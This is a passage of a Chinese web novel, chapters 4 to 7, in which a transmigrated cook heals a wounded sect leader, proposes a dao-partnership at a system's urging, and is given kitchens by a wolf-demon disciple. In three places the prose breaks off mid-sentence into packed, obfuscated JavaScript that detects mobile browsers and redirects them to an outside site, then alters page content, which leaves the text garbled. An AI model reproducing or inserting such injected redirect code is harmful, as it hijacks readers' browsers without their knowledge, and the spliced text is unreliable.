【因为任务难度小,攻受的感情线不难助推】 沈缨试图讲道理:“既然不难助推,咱们就想别的办法助攻他们,别搞啊,干嘛一定要给秦戒安排个男老婆呢?” 【因为只有给秦戒安排一个男道侣,才能赋予他一种既人夫又人|妻的微妙属性,一边让剧情发展得更加诡谲,一边让攻受的感情更为背德】 【亲爱的小缨,你看《压师》的时候不也是磕这一点吗?】 沈缨:“…………” 【同时,第三个任务完成之后,第一个任务急需启动】 【祝你好运】 4. 第 4 章 第一次疗愈算是开了好头,秦戒还需要休养,沈缨也疲惫不堪,更需要时间消化即将“结婚”的冲击,自觉地挥手告辞出来了。 周无戎还跟着他,把自己当导航犬和服务员似的,沈缨想换人都张不开口,他不是个习惯主动的性格,被动惯了。 “仙长,我们现在位于这一带山岭的中心,黄昏那时我们由东边的入口结界进入,这里由东至西共有十一座开拓好的宜居山峰,山峰之名依次为一周到十周,只有我们所在的这里叫元周峰。” 周无戎引他走进一片离秦戒洞府不远的松林,在春风拂叶的沙沙声里和他说话。 “师尊长年累月在外匡正扫恶,这里其实有些冷清,今天能迎来您这样的贵客是问天宗的幸运,只是贫山苦水,但愿您能不弃。” 沈缨唔了两声,越看越听越觉得周无戎温温文文的。 周无戎带他到松林里的青翠色小楼面前,头有点不好意思抬起来,声音都轻了:“您看在这里暂住可以吗?” 沈缨抬头看小楼,感觉要住进乡间别墅了,因此开心,转念想到这里也即将是凶案现场,又惆怅了:“可以的,我看这里整得挺好。” 问天宗穷,只能就地取材建住所,住的不是木头搭的,就是岩石砌的,不像另外两大名门墨山宗、禄水宗,那两派一个占尽仙盟七成灵山,一个掌尽六成灵河,门派据地都建在灵气浓厚的富庶地方,用各种灵石法宝造房子。 问天宗没有地利,唯有人和。 “那您有什么需要的吗?”周无戎笑着问,并从怀里取出一枚刻有问天宗三字的石牌给他,“这是弟子的令牌,仙长若是有什么需要,对它说一声,弟子就过来了。” 沈缨只得接过令牌,一时间很想用这块令牌挠后脑勺,轮到他不好意思了。 这里是修真界,那本只注重感情线、不太管剧情逻辑的三流原著没细写这里的修为分级,但明确写了成年修士人均辟谷,最多以灵石进补,只有灵力低微的小孩才需要暂时吃饭。 沈缨一点也不饿,但他想吃,想烧饭,而且想大吃特吃,大烧特烧。 他咳嗽一声,嗡嗡道:“我需要厨房。” 周无戎以为听错了:“什么?” 沈缨振声:“厨房!” 周无戎能说会道的,这会也安静了片刻。 沈缨在清风徐徐里憋红了脸,雄赳赳气昂昂地走进小楼,硬气道:“没有就算了!当我没说。” 周无戎亦步亦趋地跟上来:“有的,有的,那仙长需要厨具吗?食物呢?您喜欢素的多,还是荤的多?您吩咐我,至多四五天,弟子为您办妥。” 沈缨耳朵还红着,心里高兴,赶紧比划起来:“什么厨具食物都行,你们家里有什么我就用什么,可以的话你尽快帮我在里面整一间厨房,要一间卧室那么大的,排气的烟囱一定要有,窗……要有两排!” 他的愿望就是要有一个干净敞亮的通风大厨房,现世里没实现,在这里倒是可以造一造。 周无戎认真地听着,一一应好。在沈缨看不到的背后,一条白色的蓬松狼尾巴无声地出现,他和沈缨说话的脸庄重,但尾巴在轻甩,在笑。 * 入夜时分,沈缨在松木小楼里转悠了至少两小时,小心翼翼地把每面墙都摸遍了,勉力运转着灵力在每个地方施法,留下一道道小结界。 他一边想着这是他的容身之地,是他在异世的家,一边回想原著里的情节。 书里写过沈不寻的住处,就是在一片灵植里,秦戒受伤需要他疗愈时,他就去“同居”,其他时间时常回小树林里。 十年时间,随着问天宗的逐渐壮大,太周山也慢慢富庶,宗门中人用天材地宝改善此地的贫枯,使灵气逐渐变浓,这片小灵植得以滋养,变得枝繁叶茂。 沈不寻呢,就喜欢在郁郁葱葱的绿叶里痛揍周无戎。 沈缨长吁短叹:“唉!” 一番手忙脚乱的洗漱后,他披头散发地爬上硬邦邦的床,盘膝坐好,揉揉脸上的肉,又叹起来:“我长肉的手感是这样子的啊。” 异世红尘不如现世长肉三斤。 沈缨呼吸放轻,小心地把自己从头到尾摸三遍,长发捋了又捋,十指看了又看。 他问系统:“我现在生命值是40,大概多久能回升到100呢?” 系统冒泡:【这个视你身体情况而定,你目前属于出厂不久,身体素质顶格,恢复就快,一天能回升10分】 沈缨算了算他治愈秦戒的损耗:“那我最快两周就能把他治好了,我能这么干吗?原著里秦戒可是躺了两个多月啊。” 【你可以在保障自己生命安全的前提下试试,我会从旁补充原著数据的。我毕竟只是人机,亲爱的小缨,你穿的是个留白空间很大的配角,我期待你的主观能动性发挥^_^】 沈缨安静了一会,他觉得这很难,但他用力嗯了一声:“切!我当然能发挥,人机,你给自己的不靠谱提前找理由吧?” 【人机委屈屈】 沈缨拍拍脸提神,想起还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈缨也确实疲惫,没过多久就睡过去,他下意识地侧身蜷缩,两手环抱住自己,像一只仓鼠。 另一边,在松林之外的远处,有一片天然林立的石碑,灰白色的乱石被打理成假山造景,正是春夜上弦月,一只体型约为成人高的白狼趴在一块磨得圆润的巨石上。 白狼脖子上戴着串有狼牙的颈链,一边叼着狼牙,一边用尖利的狼爪翻着不同颜色的录书石,从一块块收录了人界知识的灵器里寻找信息。 狼尾巴在深夜里不时甩动,轻轻拍打趴着的巨石。 他度过一个充实的春夜。 5. 第 5 章 沈缨隔天一大早就醒来了,刚起来时还迷迷糊糊地找了半天厨房,嘴里嘟嘟囔囔:“我要吃包子,我昨晚包了两屉香菇白菜馅儿的,我包子呢?灶台跑哪去了?” 他稀里糊涂地转了一会才清醒,拍着脑袋直摇头。 待收拾好自己,沈缨去看望秦戒,出门不久就看到周无戎。他压根不打算用周无戎的令牌叫他过来,谁知道这狼崽子这么殷勤,又热切又乖巧。 他心里很不是滋味,心想,我还没欺负他呢,我就已经愧疚了,爷爷的,好像搞起了预制菜。 待到秦戒的洞府,远远就看到一个少年人守在那里,沈缨的注意力才转移了。 守在那儿的自然是秦戒的首徒楚放,这位原书主角攻笔直笔直地杵在那当门神,衣冠整洁了,不像昨天那样狼狈。 他也穿着问天宗专属的灰白道衫,不过右臂的衣服上用紫线刺绣了一条游龙,发髻也用了个龙首紫玉冠束着,因为喜欢紫色和龙族,于是改起了自己的校服,骚包地搞特殊。 大清早就看见一块望妻石,沈缨一看楚放这样就想笑。 周无戎主动上前去打招呼:“大师兄,早上好,你身体还好吗?昨天看你……” “濯沧!”楚放一听声音就转身来打住,叫的是周无戎在来问天宗前的狼妖本名,“嘘,别说这个,在师尊面前更别提我昨天动了通天鼎的事,师尊昨天气得想打我,我一躲,他更气了,血都吐了。” 沈缨听完这逆徒攻的话,心里蛮不讲理地想,你小子躲什么躲?你老婆想打你你就站直了挨揍,再说了那哪是打,明明是奖励! “啊,见过沈前辈,您早上好!”楚放见他来了立即问好,一张脸洗洗刷刷干净了,比昨天英俊了不少,意气风发,烈日骄阳。 “不用客气。”沈缨摆摆手,把嫌弃之情按下去,“你怎么不进去,你师尊还好吗?” “是这样,我师伯为我师尊护法一整夜了,不让我打扰,我只好在门口等着。” 楚放为自己挽尊,然而他话音刚落,他师伯秦尚的低音炮就从洞府里传了出来:“沈道友,快请进。” 楚放马上传声进去:“师伯,我也——” 秦尚直接打断他:“无戎,带你师兄回他的住所去,看好他别乱跑。” 周无戎应了声是,先看了一眼沈缨,继而无奈地看向楚放:“大师兄,先回去吧。” 楚放不甘心:“不,我要继续在这里守着,我实在放心不下师尊。” 沈缨心里乐不可支地想,你老婆嫌你闹腾喽,不想见你喽,年下就是黏人,太黏就要挨骂,自个悟去吧。 他理理衣服,越过他俩往洞府里走,抬头挺胸的。 周无戎此时和楚放关系一般,只能尽量用嘴皮子劝滚:“师尊有大师伯和沈仙长照顾,师兄还是回去休息为好,不然等到师尊康复了要召见你,师兄却体力不支,岂不是因小失大了?” 说着他用别人分散楚放的注意力:“要不我们去看望小师弟?” 沈缨人已经走进洞府几米了,听到周无戎说“小师弟”三个字,身体一下子僵住,血往心房里猛泵,心跳声清晰可辨。 周无戎口中的小师弟,是秦戒的第三个徒弟,大名周书成,字耕笔,他也是孤儿,从记事到死亡都不知道父母是谁。 这是沈缨看书时第二喜欢的角色。 周书成的人设特殊,他根骨奇佳,从小就容易灵魂出窍,魂魄以透明灵体状态漂浮在肉|体躯壳周围,只要躯壳还在,他就可随心所欲地归魂或离魂。 因是孤儿,他在人间只能以乞讨为生,又因年纪小身体弱,被一个乞丐窝收了去,两条腿都被打断了,爬在街道上以伤赚同情钱。直到不久前秦戒路过人界把他捡回宗门,他的日子才算好过起来。 来到问天宗后,周书成很快学会了引灵气入体,并开创了修真界第一例以游魂入道的修炼模式。 按照原著里的时间线,周书成现在正在参悟修道的修炼中,身体沉睡,魂魄在云海上打坐,因为超脱物外,这会他根本不知道秦戒受伤到濒死。 周无戎提议楚放去看他,只是去看他沉睡的瘦小身体。此刻他好像表现得同门兄友弟恭,谁能想到后来的后来,他入魔黑化,毫不留情地杀了周书成,毁他肉身不说,还将他的魂魄撕碎,令其再无往生轮回。 沈缨僵在原地,得有五秒才缓缓回神,忍一忍就控制住了回头拧周无戎的冲动,他继续往洞府里走,这会子还是瞅瞅秦戒比较重要。 * 沈缨快走到里面时,先看见了一阵金光,秦尚一看到他就招手:“沈道友,这边!” “诶!来了!” 应得太顺口,沈缨差点把惯性的“上菜了”给顺溜地喊出来。 他抿着嘴小跑过去一看,只见秦戒闭着眼打坐,脸色依然不太好,昨天匆匆一瞥的青铜通天鼎此刻就漂浮在他身前,缩小到皮球大小,闪烁着金光滴溜溜地转个不停。 秦尚挂着一对黑眼圈,严肃端正、气势如虹地请他坐下:“沈道友,坐。” 沈缨干笑:“不用不用,谢谢谢谢。” 他扭头继续看秦戒,忍不住两手交握,又紧张又激动地搓手,他可太知道秦戒接下来身上会发生什么了。 不过十来秒的功夫,秦戒指节修长的双手就快速地结起印来,闭着眼睛低声:“现!” 金光大作,黑光骤显,四道狰狞的漆黑罡风从秦戒身上爆发出来,锁链一样凝固在他的体表之上。 秦戒睁开眼睛,灰色的瞳孔变成銮金色:“破!” 通天鼎转得更快了,这件在原著里大名鼎鼎的问天宗镇门之宝,此时已经被转成一个大陀螺了。 显而易见的,秦戒想借助通天鼎这件法宝,把自己身体里潜伏的黑色罡风“拽”出来、再“扯”出去。 更显而易见的,他失败了。 四道罡风没被驱散,反而像拉紧的皮筋一样,被拽离秦戒身体一米开外之后,又狠狠反弹了回去。 秦戒就像被四根大皮筋抽了,疼得控制不住颜表,皱着脸直抽气。 秦尚顶着黑眼圈、黑着大爹脸伸手施法,把还在滴溜溜转的通天鼎收回来,也顾不上有沈缨这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195345|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个外人在场了,鼎到手就往地上扔,气骂道:“垃圾!什么宗门之宝,催动一夜了,莫说疗愈,就连剥离四道‘绝爱锁’都办不到,垃圾!” 不过气归气,作为一个优秀的大哥爹,情绪管理自然不在话下,他很快恢复过来,把通天鼎往地上砸完之后又立马捡起,迅速用袖口把鼎的四个面都擦干净,四根鼎腿儿都擦得锃光瓦亮。 沈缨:“……” 秦戒:“……” 秦戒也有点绷不住:“兄长,你已经因为我而奔波多日,要不先去休息吧。” 秦尚横刀立马地坐下,手掌“啪”的一下按在通天鼎上:“不用!” 秦戒只好看向沈缨,眼睛里的銮金色慢慢褪去:“沈道友,你请坐,昨天初见仓促,今天再见更仓促,是我们待客不周,让你见笑了。” 沈缨忙不迭摇头,坐到离秦戒最近的地方,搓搓手问他好不好。 刚才秦尚冲通天鼎泄愤时说的“绝爱锁”,他知道那是啥玩意儿,也知道怎么解。 之前他看原著时,看到跟绝爱锁有关的情节就一直桀桀笑。 这东西说危害也不怎么危害,论杀伤力其实也不怎么大,绝爱锁只是秦戒这次重伤里的轻伤,麻烦的是它一捆缚在修士身上,就会潜行灵脉中,会阻碍修士的自愈进程,只有所爱之人才能将其剥离下来。 秦戒身上的这四道绝爱锁……当然是后来他那逆徒攻剥出来的。 剥的过程很黄色,很刺激肾上腺激素,是一众《压师》读者盖章的双A景区。 不过那是后话了,在原著里的这个时期,秦戒根本还没察觉到他跟他逆徒的感情,他急于想剥离这操蛋东西,因此在沈不寻提出和他结为道侣的时候,他抱着试试的态度答应了。 秦戒脸色苍白地向他抱拳:“我没有大碍,只是……只是接下来还要拜托沈道友,施展疗愈圣术了。” 沈缨二话不说伸手握住他的手腕,心里咬帕子,感叹电子崽子救世又卖色的不易,脸上则做大义凛然状:“秦宗主,你不用客气的!能疗愈你是我的荣幸!” 肢体接触,银丝涌流,秦戒低下头来,灰色的眼睛没有光彩,他失魂落魄地喃喃:“对不起,给你们添麻烦了。” 沈缨心揪起来,书里写过多次秦戒性格里的要强,他绞尽脑汁地想安慰两句,就听背后又传来“轰”的一声,紧接着,秦尚又在骂通天鼎“垃圾”了。 秦戒失笑,打起精神,反过来安慰他哥:“兄长,无碍的,我还活着已经是大幸了。” 说着他看向沈缨:“沈道友,我昨夜从兄长口中得知了你的身世和处境,倘若你无处可去,愿意留在问天宗,我秦戒在世一日,就替你遮一日风雨;倘若你欲往他乡,无论是三界何处,我都一路护送到底,千里万里,义不容辞。不知沈道友如何作想?” 沈缨头皮一麻,抬眼一看,就在悠悠的银丝浮光里和秦戒对视。 他结巴住了:“我……我……” 系统好死不死地出来凑热闹:【时机恰到好处,亲爱的小缨,要开启第三个任务吗?邀请他结婚吗?】 6. 第 6 章 伸头也是一刀,缩头也是一刀。 今天早死,明天投胎,后天当新厨师。 短短几瞬之间,沈缨内心展开了几次大战,他心里一横,牙一咬,两手都抓住了秦戒的手臂,身上的银丝乌泱泱地涌流出来,他闭眼大喊:“秦宗主!我想留在你家里,和你结芬!就是和你结为道侣!” 空气凝固了,沈缨鼓足勇气喊完之后整个人都升温了,他紧闭双眼不敢睁开,快要晕过去了,所幸还有系统这个人机在他识海里制造噪音。 【鼓掌鼓掌鼓掌】 【为您点播一首结婚进行交响曲】 【撒花撒花撒花】 秦戒和秦尚同时出声:“沈道友……” 沈缨猛的低头,头快低到肚子去了:“在!” 秦戒用另一只苍白的手打了个手势,制止他哥开口:“沈道友,请你抬头看我。” 沈缨颤颤巍巍地扬起脑袋来,睁开一只眼睛,眯着缝儿看他。 秦戒其实挺镇定冷静,看起来没有被他吓到,只是唇色更白了:“你说想和我?为何?” 沈缨咽了几次口水,心里嚷嚷没办法啊崽子,任务就这样,你和你老攻的磕点就在这,从这开始你们的感情线就要突飞猛进了,本电子老豆也没办法啊? 酝酿了好一会儿,他才把原著里沈不寻这一部分的台词照本宣科地念了出来:“秦宗主,您是大人物,我想要您的庇护。开门见山地说,我想和您做笔交易,我用我的疗愈能力为您保驾护航,您给予我宗主道侣的身份庇护。” 秦戒慢慢道:“沈缨,你看着我的眼睛,你真的是这么想的吗?” 沈缨逼出自己最好的演技看向他,硬着头皮说是的。 结果他似乎从秦戒灰色的眼睛里看出了一丝悲悯,或者悲哀。 “你是我秦戒的恩人,需要庇护,我定然不会拒绝。”秦戒主动掰开了沈缨握着他的两手,“沈缨,你别冲动,再好好想想,结契不是交易,何况无需交易,我也能不遗余力地报答你。” 沈缨也没有想着第一次邀请结婚就能把任务完成了,被拒绝是理所当然的,他便讪讪收回了手,一边想着好大儿果然正气凛然,一边听着系统播报秦戒的生命值涨到了33。 眼下也不好再尴尬地待下去,身上的银丝还没淡化消失,他就在袅袅萤光中站起来:“那我回去好好想想……秦宗主,不管你答不答应结契,我都是想要帮你恢复健康的,您拒绝和我结契,不过请不要拒绝我的疗愈啊。” 秦戒低声:“多谢。” “不客气,需要治疗的时候尽管叫我啊。” 沈缨摆摆手,说罢连忙转身走出他的洞府,刚要喘口气,身边长风一闪,未见其人就先听到哥爹的严厉声音:“沈道友。” 沈缨后脖子一凉,又不太敢抬头了:“在。” 秦尚尽量放轻声调和他说话:“沈道友,今天一早无戎和我说了他安置你的地方,我送你回去。” “昂。” 两人便一块儿向小松林走去,直到走进小松林的树影里,秦尚才憋不住说起话来:“沈道友,你疗愈我弟弟,我们兄弟谢你都来不及,你今早说的结契实在是让我惊愕。” 沈缨哈哈两声干笑:“我理解,我理解。” 秦尚严厉到有些凶:“我只是想劝你,结契是大事,我了解我弟弟,他这个人生平最不愿意欠别人人情,你救了他一命,如果你只是想要寻求庇护的话,他一定不会食言,根本不需要你牺牲自己的姻缘。” 沈缨揉着后脖子低头,踩踩自己地上的影子,厚着脸皮说:“仙君,假如啊,我想和秦宗主结契,除了我求庇护之外,还有一个原因是因为我喜欢他呢?以爱之名的话,就没有牺不牺牲的。” 两人说话说得太投入,都没注意到不远处有人。 周无戎的嗅视听三觉比人修灵敏数倍,远远就看见了他们,随风听到了几个词,立即闪身施了个隐身诀。 沈缨说到喜欢,他头顶上下意识冒出了两只白狼耳朵,耳朵竖得直愣愣的。 “如果真是这样,那我更不同意了。”秦尚摇头,“虽然我至今尚未遇到心动之人,没有资格评断世间风月,但有一点我想是共通的,一个人喜欢另一个人,必然是想得到回应,所以世间有‘一厢情愿’和‘两情相悦’之分。沈缨,倘若你和我弟弟结契,但你永远得不到他的回应,你只会苦了你自己,他不可能喜欢你的。” 沈缨捂脸,心想这个我知道,毕竟我磕了他和他那逆徒大半年。 秦尚卯足了劲想劝他放弃:“你可知道,我弟弟修炼过无情道的,他把他自己情|欲的情根,转嫁到对天下大道的追望之上,你若执意和他结契,是得不到任何枕边人的爱护之情的。” 沈缨干笑,是啦是啦,每一个高冷师尊都修无情道,修着修着就成了他逆徒眼里的魅魔,然后日久生情,伟大的无情道不攻自破。 秦尚看他笑得奇妙,警觉道:“沈道友,你不会是看多了人间话本,同意那一套‘得不到所爱之人的心,得到所爱之人的身亦可’那一套歪理吧?” “诶?”沈缨的注意点歪了,“秦大仙尊,你平时没事会看人间话本吗?” 秦尚严厉的眼神顿时出现了破绽,他没否认,而是眼睛瞟到别处:“我……这不是重点。” 沈缨仰头看他,顿时觉得稀奇,原著里一直写秦尚是严肃刻板的哥爹,后期发现自家弟弟和徒弟搞在一起之后,当了很久的爱情审判官,铁面冷脸,刻板到几乎无趣。 “所以您平时私下里也没少看是吗?” “……这与你无关吧!” 沈缨心里哇起来,秦尚在他眼里的那一层威严不可犯的大爹滤镜顿时裂了一块。 他想象着在原著留白的地方,秦尚也会在街边蹲点情情爱爱甚至搞颜色的小话本,阅书无数,寡到结局,作为一个恋爱脑堆里的单眼单身汉,一边审判别人爱情,一边很可能偷偷磕别人爱情……这反差挺大的。 沈缨看着他的眼睛亮晶晶的,秦尚也不明白怎么把劝他别“嫁”的聊天内容,歪到了他这个不太好见光的隐私乐趣上面。 他只得咳嗽了一声,躲开他那发着光的眼睛:“总而言之,言而总之,姻缘大事且再慎重,告辞,改日再叙。” 秦尚转身就走,沈缨还跟在他大长腿后面跑了几步:“秦仙君,大仙君,我相信你看话本的审美一定很好,你要是有看到特别精彩的,能不能推荐给我啊?” 秦尚一向严肃的表情维持不住,掐了个神行诀遁逃了。 沈缨站在只有春风的空地呆了一会,摸着后脑勺转身,一路走一路乐,他不怕秦尚了,也许以后还能跟他成为跨次元的书友,一起品鉴品鉴精神食粮。 小松林边缘的树影里,春风吹过两只仍旧立正的狼耳朵,周无戎看着沈缨走进小楼里,他困惑地歪了歪脑袋。 不可思议。 周无戎抖着头上的耳朵想。 他想象不出来沈缨成为他师娘的样子,他甚至想过大师伯和沈缨。 沈缨说喜欢师尊,他倒是有些相信。 昨天沈缨第一次见他师尊就表现得过于奋不顾身,那副为了疗愈他师尊而把自身能力用到透支的样子是真实的。 他牢记着沈缨身上爆发的千万银丝,那是忘不了的。 可是从来没听说师尊和他有什么交集,而沈缨也就和师尊见过两次面,昨天一次,今天一次,区区两次面,就想和师尊结契度一生?人类的喜欢可以这么短暂地催生,却长久地延续吗? 周无戎低头看自己的手,他也记得沈缨差点晕阙而把下巴砸在他手里的触感,冰凉,柔弱。 一个需要吃饭的,连幼童都不如的柔弱药修,想和修真界凤毛麟角的强大仙修结契。 配得起吗。 结得明白吗。 挨得过师尊的元阳吗。 * 沈缨紧接着度过了平静的三天,每天早上他便主动去找秦戒,老老实实地给他疗愈,不再提结契之事,秦戒也就不问。 其余的时间他就回小楼里鼓捣自己的日常用具,他还不是问天宗的一份子,不好跟人家讨要他们那统一的灰白道衫,就只好一直穿从晴朗谷带出来的红衣。 他算是明白了,原著作者肯定没功夫设计主要角色之外的人物附加设定,沈不寻出场时身上的色系就是晴朗谷的木棉花色的红,之后就一直默认他的衣饰是这种张扬的颜色。 沈缨不挑色,衣服耐穿耐操就够了,只是这么晃悠在一群灰白家伙里让他觉得自己格格不入,不合群让他不安,甚至稀里糊涂地想过赶快做男师娘就好了,这样就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195346|150810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能和大家一样同色系。 这几天没看见秦尚,只碰见过几次徘徊在秦戒洞府门口的楚放,周无戎那只狼崽大概是去给他准备造厨房的差事,忙活起来就没再在他跟前当服务员。 这反而让他放松了不少。 他宁可每天讨人嫌地抓着秦戒叨逼叨“结婚吧结婚吧”,也不太愿意看着周无戎那张乖顺恭敬的帅脸。 沈缨不知道自己审美有没有偏离普罗大众,原著里有写不少人颜值高气质好,哪怕是沈不寻也写过他的脸非常有迷惑性,有关周无戎的外形描述却都是含糊其词的。 大概也因为这种朦胧性,导致他对周无戎的人类外形一直想象不出来,以致于第一眼看到周无戎时有些吃惊,没有想到未来的反派少年时卖相这么好,一想到要抽漂亮脸,还是狠狠抽,心里就梗一梗。 沈缨一边鼓捣这几天在小松林里收集来的木头,一边自言自语:“唉,要是他歪瓜裂枣,长得一脸馊汤臭蛋的样就好了,那我都不纠结,把他当面团团吧团吧拍打拍打就行了。” 说着他拍拍一块大木墩,随意地岔着腿坐地上,比划着怎么用灵力把木墩切割成一块菜墩。 没事时他就尽鼓捣怎么做厨具了,所幸穿的是个修真世界,自己会运转灵力,就能把自己当激光刀使,对着各种材料切切整整,也可以创造出一整套厨房好物。 切到一半时,小楼外传来了一声“沈仙长”,也就只有周无戎一直这么称呼他了。 沈缨先是一呆,继而激灵起来,想着肯定是来给他造厨房的,捶捶腿赶紧出去。 周无戎在树影里恭顺地站着,见到他便展示自己手心上漂浮着的东西:“仙长,我来给您造庖厨了,对不起,让您久等了。” 沈缨激动起来,风一阵跑到他面前去:“不久不久!麻烦你了!” 漂浮在周无戎手上的是三个小厨房模型,用灵力绘制,可大可小可看整体细节,周无戎让沈缨选,沈缨挨个看,脑子里闪出了87版林妹妹的镜头“我看啊,个个都好”,狠狠犯起了选择困难症。 周无戎体贴得很,见他纠结得挑不出来,直接表示全承包了:“仙长,弟子近来无事,您若不弃,不如弟子把这三个都砌出来?” 沈缨惊了:“真的吗?这可以吗?” 周无戎便笑:“当然可以,只要您想。” “好……好的!现在建吗?我也一起,要挖土吗?” “仙长督工,弟子来做。” 这家伙执行力极快,一只狼包揽一条龙,很快就在沈缨的松木小楼外操控木石堆,两手运转灵力,十指翻飞,不疾不徐地造房子。 沈缨看得入迷,眼睛跟着他的手转,也没发现周无戎手上的动作幅度逐渐变大,只是呆呆地跟着他的动作转头,向左向右,朝上朝下,怎么看都觉得平地起小楼——平地起小家,这种经历过分神奇了。 待三大间厨房尘埃落定,沈缨跑进跑出地看看摸摸,眉飞色舞,心里高兴得敲锣打鼓,不经意间头一回喊了他的名字:“无戎!谢谢你帮了大忙,你真是太厉害了!” 周无戎怔了怔,抬手扯了扯脖颈上的狼牙,压制了耳朵和尾巴要冒出来的冲动:“您言重了,这都是弟子应该做的分内事。” “给你添了不少麻烦吧?你这几天一定没少忙里忙外,真是太感谢你了,你告诉我,我能给你什么谢礼呢?”沈缨高兴得什么都忘了,“你吃饭吗?你是吃人饭还是吃狗粮?我都会做!要不都做?” 周无戎第一次听说“狗粮”,猝不及防地被气笑了。 谁是狗?他是狼,还是一头罕见的纯白狼,出生时破军星大亮,他们狼族里的长老预言他命格重大,来日或许能一统分裂千年的妖族,也正是因为他的特殊,才给他们一族惹来了覆灭的灾祸。 谁是狗?谁是狗? 自狼族被灭后,他还没有这么生气过,他简直要维持不住自己小心谨慎维持出来的乖顺样子,想现出原型用脑袋把沈缨顶出一百里。 但……沈缨在不值一提的三间庖厨里穿来穿去,鲜艳得有些过分。 周无戎看了一会,忍下了这口气,自认为是自我安慰和自我提醒的原因。 他想,不要在一个有可能成为自己师娘的人面前流露任何的坏脸色。 尽管这个可能微乎其微。 7. 第 7 章 沈缨有了厨房,就像留学的广东学生有了个肠粉机,整个人都精神起来,他觉也不睡了,一连奋战七个晚上,就地取材把自己想要的烧饭家伙们全赶制出来了。 巧的是这两天太周山的七周峰下了一场春雨,那穷山头今年试着种了一片竹,试种了几次都没种活,得益于这场及时雨,竹子总算破土了。 一片小竹林的成活,在穷得叮当响的太周山里是一件喜事,沈缨因此也知道了这事,他的关注点是没准有春笋可以吃,于是拿这件小事去问秦戒。 秦戒听到这问题的时候呆了呆:“你……不会辟谷?” 沈缨涨红了脸,既不好意思,又有点小骄傲地介绍自己的主职:“其实我除了是个药修以外,我还是个厨子,厨艺很不错的厨子,不管会不会辟谷,我都喜欢吃饭。” 秦戒听罢,表示理解:“修士引灵入道,服气辟谷,以气代食,口腹之欲为六欲之首,不禁则修炼停滞乃至倒退,甚者失去灵体。你若是无意修道的进益,喜欢进食也无有不可,只是进食后记得服用化浊丹,再运气祛浊即可。” 沈缨这才知道还有这么个设定,老实巴交:“那化浊丹得怎么办才能有啊?我有一点点钱,完全可以全款拿下。” 秦戒难得笑了出来:“区区化浊丹,哪里需要我的救命恩人破费,我有,都给你。” 说罢秦戒在他家徒四壁的洞府里搜刮出了一袋给他,沈缨拿到手时感觉不妙:“秦宗主,吃一顿饭要服用几颗好啊?” “一般一颗足以,倘若你进食得多,为了更彻底地化浊就两颗吧。” “这袋子里有几颗呢?” “足足二十呢。” “足足”二字体现了一宗之主的“雄厚”财力。 沈缨小心地收下,后面打听到了这修真界的健胃消食丹一颗值一枚中等灵石,换算过来就是一万块,确实造价高昂。 好在系统十分给力,冒泡来告诉他直接用积分一比一兑换即可,同时积分也能兑换此世银钱,也就是一比一中等灵石。 沈缨看了看他那余额已经逼近八十万的积分,发现自己有亿点点钱,大手一挥,先囤了一百个秦戒财力的化浊丹数量。 随后他就兴冲冲地去七周峰,刚开始,寻找新鲜春笋的大业并不如意,春雨一共下了六天,他在最后一天才等到了春笋。 太周山太穷了,他不敢挖太多,仔细挑选挖了六个,高高兴兴地揣回小松林。 六个小破笋锣鼓喧天、雨露均沾地分配在三个厨房。 元周峰旁边的五周峰专住年幼的小萝卜头,那里有唯一的问天宗食堂,沈缨也不打算再麻烦周无戎,自己厚着脸皮去那里要了些简单调料和配菜。 回来一通鼓捣,闷了一石锅的稻香粥,六个笋两个做凉拌碎丝,两个做油焖笋尖,两个做小火慢炖的咸肉腌笋。 只是香喷喷的粥笋出锅后,他又高兴又惆怅。 李白写过首诗,写道“白兔捣药成,问言与谁餐”,沈缨眼下也跟那兔子差不多了。 想来想去,第一顿饭他想请周无戎来,毕竟烧饭的场地都是他造的,于是他摸出周无戎给他的令牌,清清嗓子请他过来尝尝咸淡。 结果狼崽在令牌的另一头风声呼啸:“仙长,对不起,弟子正和师兄在外清剿邪祟,怕是得明天才能回元周峰,不能接受您的好意了。” “这样……那你们俩注意安全,别受伤啊。” “谢谢您。”狼崽在看不见的地方也嘴甜甜人乖乖的,“弟子看看外面有没有适合能让您烹饪的东西,明天捎回去给您。” “都清剿邪祟了,肯定不太平,你就别想这些有的没的了,跟你大师兄打好配合去吧!” “好,仙长,明天再拜见您。” 结束对话后,沈缨感叹了一会乖狼,随即在热气袅袅里有些落寞。 也罢。 沈缨盛了半碗粥准备一个人开吃,然而没想到的是,秦戒居然破天荒地过来了。 他一下子喜出望外:“秦宗主,您怎么来了?” 掐指细算,今天是他到问天宗的第十四天了,他已经断断续续地把秦戒的生命值从1疗愈到95,只是秦戒受的伤过于严重,又被四道绝爱锁束缚了自愈进程,短时间内都是虚弱苍白的状况。 秦戒此时的气色仍旧和瞳孔接近,苍白得近乎透明:“沈道友这里离我洞府不远,打坐时忽然闻到了,于是不请自来了。” 沈缨乐了:“宗主,整个问天宗都是你的,你现在就在自己家里,这怎么能叫不请自来呢?快请进,吃饭吗?待会吃两颗化浊丹吧!” 